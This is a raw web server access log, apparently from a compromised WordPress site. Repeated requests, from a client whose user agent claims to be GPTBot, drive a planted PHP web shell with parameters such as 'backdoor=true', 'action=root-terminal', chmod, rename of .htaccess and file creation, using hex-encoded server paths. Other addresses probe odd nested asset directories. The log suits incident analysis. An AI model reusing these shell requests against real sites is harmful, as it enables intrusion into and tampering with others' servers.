/assets/backuply-20251107214702/jquery/css/wp/includes/includes/ HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.166.213.128 - - [17/Nov/2025:12:22:32 +0000] "GET /assets/backuply/css/wp/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 635 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 123.20.249.56 - - [17/Nov/2025:12:22:33 +0000] "GET /assets/backuply/jquery/js/includes/includes/jcfxeds/ HTTP/1.1" 200 1004 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.105 Version/17.0 Mobile/15E148 Safari/604.1" 113.173.176.161 - - [17/Nov/2025:12:22:36 +0000] "GET /assets/blocks/includes/includes/css/js/wp/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.178.17.33 - - [17/Nov/2025:12:22:37 +0000] "GET /assets/backuply/wp-adminaa/wp-adminaa/wp-adminaa/includes/network/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.173.212.225 - - [17/Nov/2025:12:22:38 +0000] "GET /assets/wp/includes/css/themes/twentytwentyfour/assets/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.233.225.33 - - [17/Nov/2025:12:22:39 +0000] "GET /assets/backuply/js/js/includes/css/jquery/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.167.233.236 - - [17/Nov/2025:12:23:01 +0000] "GET /assets/backuply-20251107214702/wp/includes/includes/includes/includes/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 113.172.81.249 - - [17/Nov/2025:12:23:01 +0000] "GET /assets/includes/js/includes/css/backuply/wp/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70" 222.254.157.59 - - [17/Nov/2025:12:23:01 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/includes/css/js/ HTTP/1.1" 200 640 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) AvastSecureBrowser/5.3.1 Mobile/15E148 Version/17.0 Safari/605.1.15" 14.190.159.83 - - [17/Nov/2025:12:23:01 +0000] "GET /assets/wp-content/wp-includes/wp-contentaa/js/plugins/wps-hide-login/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.166.33.33 - - [17/Nov/2025:12:23:02 +0000] "GET /assets/assets-20251112184145/upgrade/js/includes/backuply/wp/ HTTP/1.1" 200 718 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 36.69.113.247 - - [17/Nov/2025:12:23:03 +0000] "GET /assets/assets/css/wp-includes/wp-contentaa/includes/jcfxeds/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.172.179.153 - - [17/Nov/2025:12:23:03 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/includes/css/jquery/ HTTP/1.1" 200 632 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 113.178.40.23 - - [17/Nov/2025:12:23:04 +0000] "GET /assets/assets-20251112184145/js/includes/jcfxeds/wp-content/jcfxeds/ HTTP/1.1" 200 671 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.20.217.171 - - [17/Nov/2025:12:23:04 +0000] "GET /assets/backuply/jquery/wp-adminaa/js/includes/includes/ HTTP/1.1" 200 655 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:23:04 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3042 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.190.115.47 - - [17/Nov/2025:12:23:05 +0000] "GET /assets/includes/includes/css/js/jquery/wp/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:23:06 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 2942 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.209.112 - - [17/Nov/2025:12:23:06 +0000] "GET /assets/plugins/js/includes/css/network/wp/ HTTP/1.1" 200 644 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.177.209.148 - - [17/Nov/2025:12:23:07 +0000] "GET /twentytwentyfour/styles/wp/ HTTP/1.1" 200 643 "-" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36 PTST/240201.144844" 113.163.254.255 - - [17/Nov/2025:12:23:07 +0000] "GET /assets/backuply-20251107214702/wp-includes/wp-contentaa/backuply/wp/lyRhDU.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.173.50.58 - - [17/Nov/2025:12:23:08 +0000] "GET /assets/css/js/includes/js/wp/cqlmjwTD.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Herring/95.1.1930.31" 74.7.227.184 - - [17/Nov/2025:12:23:08 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3218 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.28.36.180 - - [17/Nov/2025:12:23:08 +0000] "GET /assets/backuply-20251107214702/wp-includes/wp-contentaa/backuply/wp/lyRhDU.php?p= HTTP/1.1" 200 12018 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.180.247.139 - - [17/Nov/2025:12:23:09 +0000] "GET /assets/backuply-20251107214702/upgrade/js/includes/js/wp/ HTTP/1.1" 200 665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:23:10 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3055 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:12 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3080 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:15 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573&rename=plugins HTTP/2" 200 3556 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:17 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73&rename=backuply HTTP/2" 200 3362 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:19 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:21 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73&rename=pagelayer HTTP/2" 200 3409 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:23 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=languages&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3228 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:25 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c756465732f696e636c75646573 HTTP/2" 200 3220 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:27 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3247 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6261636b75706c792f77702f&f=error_log HTTP/2" 200 3607 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3148 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:32 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161 HTTP/2" 200 3196 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3271 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.228.61 - - [17/Nov/2025:12:23:35 +0000] "GET /robots.txt HTTP/2" 404 1251 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 74.7.227.184 - - [17/Nov/2025:12:23:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a636678656473&rename=wp-contentaa HTTP/2" 200 3328 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:40 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=images&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f6373732f706c7567696e732f706167656c61796572 HTTP/2" 200 3289 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:41 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b HTTP/2" 200 3219 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:43 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3253 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:46 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6373732f6a732f6a71756572792f7770&rename=.htaccess HTTP/2" 200 3304 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:50 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=.htaccess&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3335 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:51 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e746161&rename=wp-content HTTP/2" 200 3286 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:53 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=blocks&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f637373 HTTP/2" 200 3545 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:54 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=network&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6373732f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f637373 HTTP/2" 200 3489 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6261636b75706c792f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6e6574776f726b HTTP/2" 200 3207 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:23:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e74 HTTP/2" 200 3162 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:01 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-adminaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473 HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:04 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c756465732f6a6366786564732f77702d61646d696e6161 HTTP/2" 200 3191 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:07 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d636f6e74656e742f77702d61646d696e61612f6a732f696e636c756465732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3102 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:09 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f7770 HTTP/2" 200 3297 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:11 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b2f7770&rename=.htaccess HTTP/2" 200 3327 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:13 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6a7175657279 HTTP/2" 200 3145 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:16 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3251 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:18 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f696e636c75646573&rename=includes HTTP/2" 200 3223 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:20 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6a73 HTTP/2" 200 3149 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:22 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=jcfxeds&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f696e636c756465732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f696e636c75646573 HTTP/2" 200 3229 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:24 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6261636b75706c79 HTTP/2" 200 3168 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:26 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c75646573 HTTP/2" 200 3459 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:29 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e73 HTTP/2" 200 3302 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:30 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3231 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:24:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f6a71756572792f7770 HTTP/2" 200 3223 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - 